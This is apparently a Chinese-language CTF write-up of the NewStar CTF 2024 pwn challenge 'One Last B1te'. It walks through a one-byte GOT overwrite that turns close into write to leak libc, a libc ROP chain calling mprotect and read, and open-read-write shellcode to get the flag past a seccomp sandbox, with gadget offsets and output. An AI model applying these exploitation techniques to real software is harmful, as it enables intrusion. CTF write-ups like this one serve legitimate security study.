902 字
5 分钟
NewStar CTF 2024 W3 One Last B1te Pwn 题解
2026-08-22

W3 One Last B1te(NewStar CTF 2024)#

考点:1 字节任意地址写 · Partial RELRO 延迟绑定 · seccomp 沙箱(禁 execve)· 栈溢出 ROP · ORW 附件:pwn(非 PIE,amd64,无 canary,Partial RELRO)+ 自带 libc.so.6 / ld-linux-x86-64.so.2(glibc 2.39)

1. 保护与程序逻辑#

RELRO: Partial RELRO # .got.plt 可写 + 延迟绑定
Stack: No canary
NX: NX enabled
PIE: No PIE (0x400000) # ELF 地址全已知

反编译 main(伪代码):

init(); // setbuf + 打印 banner(banner 用 write(fd=0) 输出,实际不可见)
sandbox(); // seccomp:默认 ALLOW,仅 KILL execve(59) / execveat(322) / sendfile(40)
write(1, "Show me your UN-Lucky number : ", 0x20);
read(0, &addr, 8); // 输入一个地址
write(1, "Try to hack your UN-Lucky number with one byte : ", 0x32);
read(0, addr, 1); // ★ 任意地址写 1 字节
read(0, buf, 0x110); // ★ 栈溢出(buf 在 rbp-0x10,可覆盖 saved RIP)
close(1); // 关闭 stdout —— 注意此时寄存器状态!
return 0; // leave; ret → ROP

要点:

  • 沙箱禁 execve → 不能 getshell,只能 ORW(open/read/write 读 flag)。sendfile 也被禁。
  • 只有一次”任意地址写 1 字节”,而且此时已知的只有 ELF 地址(libc 因 ASLR 未知)。
  • ELF 里几乎没有可用 gadget(只有 retpop rbp; retleave; retadd rsp,8; ret——被优化掉了 CSU),要靠 libc 里的 gadget,因此必须先泄漏 libc。

2. 关键一步:把 close@got 最低字节改成 write@plt#

程序是 Partial RELRO + 延迟绑定,且 close 直到 main 最后一句才第一次被调用 → 此时 close@got(0x404028)里装的还是 PLT 桩地址 0x401080

我们利用那 1 字节任意写:往 close@got0xc0

close@got: 0x401080 --最低字节改 0xc0--> 0x4010c0 = write@plt

于是 main 最后的 close(1) 实际变成 jmp write@plt → write(...)

再注意”call close 时寄存器的状态”:close(1) 调用前,寄存器还残留着上一步 read(0, rbp-0x10, 0x110) 的参数——rsi = rbp-0x10rdx = 0x110,而 rdi = 1(mov edi,1 设置)。 所以重定向后的调用等价于:

write(1, rbp-0x10, 0x110) // 把 0x110 字节栈内容写回 stdout = 泄漏

泄漏数据里有 libc 指针:[main_rbp+0xa8] = libc + 0x2a28b (这是 __libc_start_maincall __libc_init_first 之后的返回地址,偏移固定)。 => libc_base = leaked - 0x2a28b

同时 close 被重定向后 stdout(fd 1) 从未真正关闭——后续输出仍可走 fd 1(远程部署下比 fd 2 更可靠)。

3. 第二次进 main:用 libc gadget 搭 ORW ROP#

拿到 libc 基址后,栈溢出链直接 ret; main 重进 main,第二次溢出搭 ROP 链。

需要的 libc gadget(glibc 2.39 随附 libc):

gadget偏移说明
pop rdi; ret0x10f75b
pop rsi; ret0x110a4d
pop rax; ret0x0dd237
xchg eax, edx; sub eax, edx; ret0x1a7f27设置 rdx 的 gadget——不只有 pop rdx; ret
mprotect0x125c10
read0x11ba50

xchg eax, edx; sub eax, edx; ret 的妙处:先把要写的值放 raxxchgedx = raxsub eax, edx 只破坏 eax(不是参数),rdx 就是我们要的值——绕开 glibc 2.39 里难找的 pop rdx; ret

ROP 链(选 libc 映射尾部 libc+0x202000 作为 shellcode 存放区):

mprotect(libc+0x202000, 0x2000, 7) # 把 libc 尾部数据段改成 RWX
read(0, libc+0x202000, 0x1000) # 读入 shellcode
jmp libc+0x202000 # 执行

libc+0x202000 落在 libc 文件映射内已映射的页,mprotect 可直接改权限;本地实测可行。)

4. ORW shellcode#

sc = asm(
shellcraft.open('./flag', 0, 0) + # open → fd 存 rax
shellcraft.read('rax', buf, 0x100) + # read(fd, buf, 0x100) → rax = n
shellcraft.write(1, buf, 'rax') # write(1, buf, n) 输出到 stdout
)

5. 验证结果#

本地(随附 ld+libc,ASLR 开启)连续多轮稳定输出 flag:

[+] leaked libc ptr = 0x7f213836a28b => libc_base = 0x7f2138340000
[+] output: b'flag{test_flag_for_one_last_b1te}\n'

远程平台已关闭,按任务书约定以本地跑通为准。

小结#

  • 1 字节任意写在”延迟绑定 + Partial RELRO”下威力不小:把 close@got 的最低字节 改成 write@plt,借用调用点的寄存器残留,把 close 变成 write 完成泄漏。
  • 沙箱题目一律走 ORW;ELF gadget 不够就”看别的可执行段”(libc),配合 pop rax + xchg eax,edx 这类非常规 gadget 设置 rdx。